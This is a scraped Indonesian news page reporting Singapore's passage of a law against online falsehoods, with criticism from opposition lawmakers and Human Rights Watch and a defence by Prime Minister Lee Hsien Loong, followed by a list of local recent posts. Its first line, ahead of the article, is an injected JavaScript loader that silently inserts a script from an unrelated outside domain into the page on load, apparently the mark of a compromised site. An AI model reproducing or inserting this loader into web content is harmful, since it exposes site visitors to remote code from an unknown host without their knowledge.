(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Singapura Sahkan Undang-undang Larangan Berita Palsu


Singapura mengesahkan undang-undang yang melarang penerbitan berita palsu dan memberikan wewenang kepada pemerintah Singapura untuk memblokir dan menghapus konten-konten tersebut, kantor berita Associated Press melaporkan, Kamis (9/5).

Undang-undang Perlindungan dari Penipuan dan Manipulasi Daring disahkan pada Rabu (8/5) pagi melalui pemungutan suara dengan raihan suara 72-9, kata Daniel Goh, legislator dari oposisi Partai Pekerja, melalui Facebook.

Undang-undang itu melarang berita-berita palsu yang merugikan Singapura atau kemungkinan mempengaruhi pemilu serta. Para penyedia jasa yang menerbitkan berita tersebut wajib menghapus konten tersebut atau memperbolehkan pemerintah untuk memblokirnya. Pelanggaran terhadap undang-undang tersebut menghadapi ancaman hukuman penjara 10 tahun dan denda besar.

Para oposisi di parlemen mengatakan undang-undang tersebut memberikan kekuasaan terlalu besar kepada para menteri untuk menentukan apa yang palsu dan secara luas menentukan kepentingan publik.

Koran The Strait Times melaporkan Menteri Perundangan K Shanmugam mengatakan perintah untuk memperbaiki atau menghilangkan konten palsu sebagian besar akan ditujukan kepada perusahaan-perusahaan teknologi, daripada kepada individual yang tidak bermaksud melanggar undang-undang.

LSM hak-hak asasi manusia, Human Rights Watch melontarkan kritikan tajam. Ini adalah “bencana untuk kebebasan berekspresi secara daring oleh warga Singapura biasa” dan “pukulan godam” terhadap independensi portal-portal berita daring, kata Phil Robertson, wakil direktur kawasan Asia Human Rights Watch.

Perdana Menteri Lee Hsien Loong bulan lalu membela rancangan undang-undang itu dengan mengatakan banyak negara sudah memiliki undang-undang sejenis dan Singapura masih membahas isu tersebut selama dua tahun. Dia menolak kritikan bahwa undang-undang itu bisa melarang kebebasan berpendapat di Singapura, yang menerapkan undang-undang keras terhadap unjuk rasa umum dan ketidaksepakatan.

“Mereka mengkritik banyak hal tentang manajemen media Singapura, tapi yang kami lakukan sudah terbukti berhasil untuk Singapura. Dan tujuan kami untuk terus melakukan hal-hal yang cocok untuk Singapura. Dan saya pikir (undang-undang baru) akan menjadi langkah penting dalam hal ini,” katanya dalam kunjungan ke Malaysia. (ft/dw/kk/voa)

Reporter:ft/dw/kk/voa
Editor:KK

Desy Arfianty

Recent Posts

Perdana Auditorium ULM Banjarbaru Diisi Jemaah Sekumpul, Ikut Berdoa dari Jauh

KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More

8 jam ago

Satu Arah Mulai Pukul 7 Malam dari Banjarbaru hingga Km 17 Gambut

KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More

10 jam ago

Maulid Habsyi dan Tahlil Selesai Dibaca Pukul 20.15, Jemaah Sekumpul Berangsur Pulang

KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More

10 jam ago

Mulai Ampar Sajadah Sejak Pagi, Jalan Sekumpul Sudah Penuh Jemaah

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More

18 jam ago

Melihat Kerelawanan Warga Banjar Menyambut Tamu Jemaah Sekumpul

KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More

20 jam ago

Posko Sapta Marga Bersatu di Banjarbaru Ada Bengkel Gratis

KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More

21 jam ago

This website uses cookies.